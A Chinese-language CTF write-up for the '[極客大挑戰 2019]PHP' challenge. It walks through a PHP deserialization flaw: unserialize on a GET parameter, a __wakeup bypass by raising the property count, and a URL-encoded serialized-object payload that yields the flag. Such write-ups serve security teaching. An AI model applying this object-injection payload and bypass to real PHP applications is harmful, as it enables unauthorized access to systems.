1. 程式人生 > 實用技巧 >[極客大挑戰 2019]PHP

[極客大挑戰 2019]PHP

題目上說有備份的好習慣,掃描目錄得到www.zip

幾個重要php檔案內容:

index.php

1 <?php
2     include 'class.php';
3     $select = $_GET['select'];
4     $res=unserialize(@$select);
5 ?>

程式碼第4行unserialize可能存在反序列化漏洞

class.php

 1 <?php
 2 include 'flag.php';
 3 error_reporting(0);
 4 class Name{
 5     private $username = 'nonono';
6 private $password = 'yesyes'; 7 8 public function __construct($username,$password){ 9 $this->username = $username; 10 $this->password = $password; 11 } 12 13 function __wakeup(){ 14 $this->username = 'guest'; 15 } 16 17 function __destruct(){
18 if ($this->password != 100) { 19 echo "</br>NO!!!hacker!!!</br>"; 20 echo "You name is: "; 21 echo $this->username;echo "</br>"; 22 echo "You password is: "; 23 echo $this->password;echo "</br>"; 24 die
(); 25 } 26 if ($this->username === 'admin') { 27 global $flag; 28 echo $flag; 29 }else{ 30 echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; 31 die(); 32 } 33 } 34 } 35 ?>

程式碼第26行如果username為admin便輸出flag,從__destruct,__construct,__wakeup可以判斷存在反序列化漏洞

php序列化與反序列化
序列化:函式為serialize(),把複雜的資料型別壓縮到一個字串中 資料型別可以是陣列,字串,物件等
反序列化:函式為unserialize(),將字串轉換成變數或物件的過程
常用的內建方法:
__construct():建立物件時初始化,當一個物件建立時被呼叫
__wakeup() 使用unserialize時觸發
__sleep() 使用serialize時觸發
__destruction():結束時銷燬物件,當一個物件銷燬時被呼叫

我們需要將Name類序列化的結果輸出

<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);
$b = serialize($a);
echo $b;

輸出結果為

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

輸出結果中Name和username,Name和password之間是有不可見字元的,因為private 宣告的欄位為私有欄位,只在所宣告的類中可見,在該類的子類和該類的物件例項中均不可見。因此私有欄位的欄位名在序列化時,類名和欄位名前面都會加上ascii為0的字元(不可見字元)

另外我們還需要繞過__wakeup方法

在反序列化字串時,屬性個數的值大於實際屬性個數時,會跳過 __wakeup()函式的執行
原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
繞過:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

所以payload為:

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}